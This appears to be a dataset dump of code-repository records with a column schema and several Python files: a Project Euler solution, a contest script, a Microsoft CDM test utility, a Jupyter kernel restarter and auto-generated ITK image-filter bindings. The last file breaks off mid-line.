blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
a10ee01a362b58ba412f342306b973b06d970f6e
27e18001bd40f6fe5b9f675130e359147ce3519a
/6_new.py
936df46dcbdf08994dfeb8336bdb4e3656c3f653
[]
no_license
jsomers/project-euler
6934a5d4eb2c116b08face308a010ddb74e0c123
61cc4cd7978deeed9d071f678c786f991e05d8a7
refs/heads/master
2021-01-01T05:39:39.568380
2014-08-21T04:05:10
2014-08-21T04:05:10
10,680,061
4
2
null
null
null
null
UTF-8
Python
false
false
195
py
# Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum. print abs(sum([n ** 2 for n in range(1, 101)]) - sum(range(1, 101)) ** 2)
[ "jsomers@gmail.com" ]
jsomers@gmail.com
cc81acf8488b435b9d734ab2d59a92a548f10506
d93fe0484fc3b32c8fd9b33cc66cfd636a148ec4
/AtCoder/diverta2/probB.py
c411fbc5ebeedd84ebac25443fcf3e2e2ee760b5
[]
no_license
wattaihei/ProgrammingContest
0d34f42f60fa6693e04c933c978527ffaddceda7
c26de8d42790651aaee56df0956e0b206d1cceb4
refs/heads/master
2023-04-22T19:43:43.394907
2021-05-02T13:05:21
2021-05-02T13:05:21
264,400,706
0
0
null
null
null
null
UTF-8
Python
false
false
977
py
from operator import itemgetter import numpy as np import scipy.stats as stats N = int(input()) xy = [list(map(int, input().split())) for _ in range(N)] xy = sorted(xy, key=itemgetter(1)) xy = sorted(xy, key=itemgetter(0)) print(xy) xy_a = np.array(xy) x1 = xy_a[:, 0] x2 = xy_a[:, 1] def calc_mode(xi): dl_a = np.diff(xi) stats_c = stats.mode(dl_a) maxcount = stats_c[1][0] max = [] i = 0 while stats_c[1][i] == maxcount: max.append(stats_c[0][i]) i += 1 if i > len(stats_c[1])-1: break return max max0 = calc_mode(x1) max1 = calc_mode(x2) p0 = xy_a[0, 0] q0 = xy_a[0, 1] print(max0, max1) Cost = N for p in max0: for q in max1: deltaxy = [] for i in range(N): deltaxy.append([p0+i*p, q0+i*q]) delta_array = xy_a[:-1, :] cost = N - np.count_nonzero(np.all(delta_array - xy_a == 0, axis=1)) + 1 if cost < Cost: Cost = cost print(Cost)
[ "wattaihei.rapyuta@gmail.com" ]
wattaihei.rapyuta@gmail.com
6f3964bde48bab7b7df6669392c64b4f61b28b9a
bb1d191123fc62504d048a80aec8e68000b98350
/objectModel/Python/tests/cdm/projection/attribute_context_util.py
f6f4091ba5b0f0f9dad9000ae951fb3974926195
[ "MIT", "CC-BY-4.0" ]
permissive
SophieBok/CDM
abb7800add80a8962f8ae5e83f64742285dc0cec
d8df31fa455fcc6afd698e3ca7ec0f8c4a6716fd
refs/heads/master
2023-06-28T08:18:55.025410
2021-07-29T22:17:49
2021-07-29T22:17:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,977
py
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. import os from typing import cast from unittest import TestCase from cdm.enums import CdmObjectType from cdm.objectmodel import CdmEntityDefinition, CdmAttributeContext, CdmAttributeReference, \ CdmArgumentDefinition, CdmTraitReference, CdmCollection, CdmAttributeItem, CdmAttributeGroupDefinition, \ CdmTraitCollection class AttributeContextUtil: """ Multiple test classes in projections test the attribute context tree generated for various scenarios. This utility class helps generate the actual attribute context generated by the scenario, so that it can be compared with expected attribute context tree. This also handles the validation of the expected vs. actual attribute context. """ def __init__(self): # This string is used to concatenate all the attribute contexts and traits of an entity into one string # so that we can compare it to the expected output txt file. self._bldr = '' def get_attribute_context_strings(self, resolved_entity: 'CdmEntityDefinition') -> str: """Function to get the attribute context string tree from a resolved entity""" # clear the string builder self._bldr = '' # get the corpus path for each attribute context in the tree self._get_content_declared_path(resolved_entity.attribute_context) # get the traits for all the attributes of a resolved entity self._get_traits(resolved_entity.attributes) return self._bldr def get_argument_values_as_strings(self, args: 'CdmArgumentDefinition') -> str: # clear the string builder self._bldr = '' # get the corpus path for each attribute context in the tree self._get_argument_values(args) return self._bldr def _get_content_declared_path(self, attrib_context: 'CdmAttributeContext') -> None: """Get the corpus path for each attribute context in the tree and build a string collection that we can compare with the expected attribute context corpus path collection.""" if attrib_context and attrib_context.contents and len(attrib_context.contents) > 0: for i in range(len(attrib_context.contents)): content = attrib_context.contents[i] self._bldr += content.at_corpus_path self._bldr += '\n' if not isinstance(content, CdmAttributeReference): self._get_content_declared_path(content) def _get_traits(self, attributes: 'CdmCollection[CdmAttributeItem]') -> None: """Get the traits for all the attributes of a resolved entity""" for attrib in attributes: attrib_corpus_path = attrib.at_corpus_path self._bldr += attrib_corpus_path self._bldr += '\n' from cdm.objectmodel import CdmAttributeGroupReference if isinstance(attrib, CdmAttributeGroupReference): att_group_def = cast(CdmAttributeGroupReference, attrib).explicit_reference # type: CdmAttributeGroupDefinition self._bldr += att_group_def.at_corpus_path self._bldr += '\n' self._get_trait_collection(att_group_def.exhibits_traits) self._get_traits(att_group_def.members) else: self._get_trait_collection(attrib.applied_traits) def _get_trait_collection(self, trait_collection: 'CdmTraitCollection') -> None: for trait in trait_collection: attrib_traits = trait.named_reference self._bldr += attrib_traits self._bldr += '\n' if isinstance(trait, CdmTraitReference): for args in trait.arguments: self._get_argument_values(args) def _get_argument_values(self, args: 'CdmArgumentDefinition') -> None: param_name = args._resolved_parameter.name if args._resolved_parameter else None param_default_value = args._resolved_parameter.default_value if args._resolved_parameter else None if param_name or param_default_value: self._bldr += ' [Parameter (Name / DefaultValue): {} / {}]'.format(param_name if param_name else '', param_default_value if param_default_value else '') self._bldr += '\n' if isinstance(args.value, str): args_value = args.value if args_value: self._bldr += ' [Argument Value: {}]'.format(args_value) self._bldr += '\n' elif args.value.simple_named_reference == True if args.value else False: args_value = args.value.named_reference if args_value: self._bldr += ' [Argument Value: {}]'.format(args_value) self._bldr += '\n' elif args.value.explicit_reference.object_type == CdmObjectType.CONSTANT_ENTITY_DEF if args.value else False: const_ent = args.value.explicit_reference if const_ent: refs = [] for val in const_ent.constant_values: self._bldr += ' [Argument Value: {}]'.format(','.join(val)) self._bldr += '\n' @staticmethod async def validate_attribute_context(test: 'TestCase', expected_output_path: str, entity_name: str, resolved_entity: 'CdmEntityDefinition', update_expected_output: bool = False) -> None: """A function to validate if the attribute context tree & traits generated for a resolved entity is the same as the expected and saved attribute context tree & traits for a test case""" if resolved_entity.attribute_context: attr_ctx_util = AttributeContextUtil() # Actual actual_file_path = os.path.join(expected_output_path.replace('ExpectedOutput', 'ActualOutput'), 'AttrCtx_{}.txt'.format(entity_name)) # Save Actual AttrCtx_*.txt and Resolved_*.cdm.json actual_text = attr_ctx_util.get_attribute_context_strings(resolved_entity) with open(actual_file_path, 'w') as actual_attr_ctx_file: actual_attr_ctx_file.write(actual_text) await resolved_entity.in_document.save_as_async('Resolved_{}.cdm.json'.format(entity_name), False) # Expected expected_file_path = os.path.join(expected_output_path, 'AttrCtx_{}.txt'.format(entity_name)) if update_expected_output: with open(expected_file_path, 'w') as expected_attr_ctx_file: expected_attr_ctx_file.write(actual_text) with open(expected_file_path) as expected_file: expected_text = expected_file.read() # Test if Actual is Equal to Expected test.assertEqual(expected_text.replace('\r\n', '\n'), actual_text.replace('\r\n', '\n'))
[ "cdm-publisher@outlook.com" ]
cdm-publisher@outlook.com
01a51587d08e7eee45b2ac648941684c741f4abd
8eab8ab725c2132bb8d090cdb2d23a5f71945249
/virt/Lib/site-packages/jupyter_client/ioloop/restarter.py
54f96af8d53a14c53abb5436c8a59c9e7b61c8f9
[ "MIT" ]
permissive
JoaoSevergnini/metalpy
6c88a413a82bc25edd9308b8490a76fae8dd76ca
c2d0098a309b6ce8c756ff840bfb53fb291747b6
refs/heads/main
2023-04-18T17:25:26.474485
2022-09-18T20:44:45
2022-09-18T20:44:45
474,773,752
3
1
MIT
2022-11-03T20:07:50
2022-03-27T22:21:01
Python
UTF-8
Python
false
false
3,905
py
"""A basic in process kernel monitor with autorestarting. This watches a kernel's state using KernelManager.is_alive and auto restarts the kernel if it dies. """ # Copyright (c) Jupyter Development Team. # Distributed under the terms of the Modified BSD License. import asyncio import time import warnings from traitlets import Instance from zmq.eventloop import ioloop from jupyter_client.restarter import KernelRestarter from jupyter_client.utils import run_sync class IOLoopKernelRestarter(KernelRestarter): """Monitor and autorestart a kernel.""" loop = Instance("tornado.ioloop.IOLoop") def _loop_default(self): warnings.warn( "IOLoopKernelRestarter.loop is deprecated in jupyter-client 5.2", DeprecationWarning, stacklevel=4, ) return ioloop.IOLoop.current() _pcallback = None def start(self): """Start the polling of the kernel.""" if self._pcallback is None: if asyncio.iscoroutinefunction(self.poll): cb = run_sync(self.poll) else: cb = self.poll self._pcallback = ioloop.PeriodicCallback( cb, 1000 * self.time_to_dead, ) self._pcallback.start() def stop(self): """Stop the kernel polling.""" if self._pcallback is not None: self._pcallback.stop() self._pcallback = None class AsyncIOLoopKernelRestarter(IOLoopKernelRestarter): async def poll(self): if self.debug: self.log.debug("Polling kernel...") is_alive = await self.kernel_manager.is_alive() now = time.time() if not is_alive: self._last_dead = now if self._restarting: self._restart_count += 1 else: self._restart_count = 1 if self._restart_count > self.restart_limit: self.log.warning("AsyncIOLoopKernelRestarter: restart failed") self._fire_callbacks("dead") self._restarting = False self._restart_count = 0 self.stop() else: newports = self.random_ports_until_alive and self._initial_startup self.log.info( "AsyncIOLoopKernelRestarter: restarting kernel (%i/%i), %s random ports", self._restart_count, self.restart_limit, "new" if newports else "keep", ) self._fire_callbacks("restart") await self.kernel_manager.restart_kernel(now=True, newports=newports) self._restarting = True else: # Since `is_alive` only tests that the kernel process is alive, it does not # indicate that the kernel has successfully completed startup. To solve this # correctly, we would need to wait for a kernel info reply, but it is not # necessarily appropriate to start a kernel client + channels in the # restarter. Therefore, we use "has been alive continuously for X time" as a # heuristic for a stable start up. # See https://github.com/jupyter/jupyter_client/pull/717 for details. stable_start_time = self.stable_start_time if self.kernel_manager.provisioner: stable_start_time = self.kernel_manager.provisioner.get_stable_start_time( recommended=stable_start_time ) if self._initial_startup and now - self._last_dead >= stable_start_time: self._initial_startup = False if self._restarting and now - self._last_dead >= stable_start_time: self.log.debug("AsyncIOLoopKernelRestarter: restart apparently succeeded") self._restarting = False
[ "joao.a.severgnini@gmail.com" ]
joao.a.severgnini@gmail.com
575cb1cf957072ba826538b7dd9c63ee6fb7e01c
a3b306df800059a5b74975793251a28b8a5f49c7
/Graphs/LX-2/molecule_otsu = False/BioImageXD-1.0/ITK/lib/InsightToolkit/WrapITK/lib/itkGrayscaleGeodesicErodeImageFilterPython.py
c2652b7b388c27b79a2ef639a655c955d21f1ebf
[]
no_license
giacomo21/Image-analysis
dc17ba2b6eb53f48963fad931568576fda4e1349
ea8bafa073de5090bd8f83fb4f5ca16669d0211f
refs/heads/master
2016-09-06T21:42:13.530256
2013-07-22T09:35:56
2013-07-22T09:35:56
11,384,784
1
1
null
null
null
null
UTF-8
Python
false
false
104,936
py
# This file was automatically generated by SWIG (http://www.swig.org). # Version 1.3.40 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info if version_info >= (3,0,0): new_instancemethod = lambda func, inst, cls: _itkGrayscaleGeodesicErodeImageFilterPython.SWIG_PyInstanceMethod_New(func) else: from new import instancemethod as new_instancemethod if version_info >= (2,6,0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_itkGrayscaleGeodesicErodeImageFilterPython', [dirname(__file__)]) except ImportError: import _itkGrayscaleGeodesicErodeImageFilterPython return _itkGrayscaleGeodesicErodeImageFilterPython if fp is not None: try: _mod = imp.load_module('_itkGrayscaleGeodesicErodeImageFilterPython', fp, pathname, description) finally: fp.close() return _mod _itkGrayscaleGeodesicErodeImageFilterPython = swig_import_helper() del swig_import_helper else: import _itkGrayscaleGeodesicErodeImageFilterPython del version_info try: _swig_property = property except NameError: pass # Python < 2.2 doesn't have 'property'. def _swig_setattr_nondynamic(self,class_type,name,value,static=1): if (name == "thisown"): return self.this.own(value) if (name == "this"): if type(value).__name__ == 'SwigPyObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name,None) if method: return method(self,value) if (not static) or hasattr(self,name): self.__dict__[name] = value else: raise AttributeError("You cannot add attributes to %s" % self) def _swig_setattr(self,class_type,name,value): return _swig_setattr_nondynamic(self,class_type,name,value,0) def _swig_getattr(self,class_type,name): if (name == "thisown"): return self.this.own() method = class_type.__swig_getmethods__.get(name,None) if method: return method(self) raise AttributeError(name) def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) try: _object = object _newclass = 1 except AttributeError: class _object : pass _newclass = 0 def _swig_setattr_nondynamic_method(set): def set_attr(self,name,value): if (name == "thisown"): return self.this.own(value) if hasattr(self,name) or (name == "this"): set(self,name,value) else: raise AttributeError("You cannot add attributes to %s" % self) return set_attr import ITKCommonBasePython import itkEventObjectsPython import pyBasePython import itkImagePython import itkFixedArrayPython import itkCovariantVectorPython import vnl_vectorPython import vcl_complexPython import vnl_matrixPython import itkVectorPython import vnl_vector_refPython import ITKRegionsPython import itkSizePython import itkIndexPython import itkOffsetPython import itkPointPython import itkMatrixPython import vnl_matrix_fixedPython import itkRGBAPixelPython import itkSymmetricSecondRankTensorPython import itkRGBPixelPython import itkImageToImageFilterAPython import itkImageSourcePython import itkVectorImagePython import itkVariableLengthVectorPython def itkGrayscaleGeodesicErodeImageFilterID3ID3_New(): return itkGrayscaleGeodesicErodeImageFilterID3ID3.New() def itkGrayscaleGeodesicErodeImageFilterID2ID2_New(): return itkGrayscaleGeodesicErodeImageFilterID2ID2.New() def itkGrayscaleGeodesicErodeImageFilterIF3IF3_New(): return itkGrayscaleGeodesicErodeImageFilterIF3IF3.New() def itkGrayscaleGeodesicErodeImageFilterIF2IF2_New(): return itkGrayscaleGeodesicErodeImageFilterIF2IF2.New() def itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_New(): return itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.New() def itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_New(): return itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.New() def itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_New(): return itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.New() def itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_New(): return itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.New() def itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_New(): return itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.New() def itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_New(): return itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.New() class itkGrayscaleGeodesicErodeImageFilterID2ID2(itkImageToImageFilterAPython.itkImageToImageFilterID2ID2): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterID2ID2 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageD2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageD2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageD2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageD2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterID2ID2 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterID2ID2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterID2ID2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterID2ID2 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterID2ID2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterID2ID2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterID2ID2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterID2ID2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterID2ID2.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterID2ID2) itkGrayscaleGeodesicErodeImageFilterID2ID2_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_swigregister itkGrayscaleGeodesicErodeImageFilterID2ID2_swigregister(itkGrayscaleGeodesicErodeImageFilterID2ID2) def itkGrayscaleGeodesicErodeImageFilterID2ID2___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterID2ID2___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2___New_orig__() def itkGrayscaleGeodesicErodeImageFilterID2ID2_cast(*args): """itkGrayscaleGeodesicErodeImageFilterID2ID2_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterID2ID2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID2ID2_cast(*args) class itkGrayscaleGeodesicErodeImageFilterID3ID3(itkImageToImageFilterAPython.itkImageToImageFilterID3ID3): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterID3ID3 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageD3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageD3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageD3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageD3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterID3ID3_FullyConnectedOff(self) __swig_destroy__ = 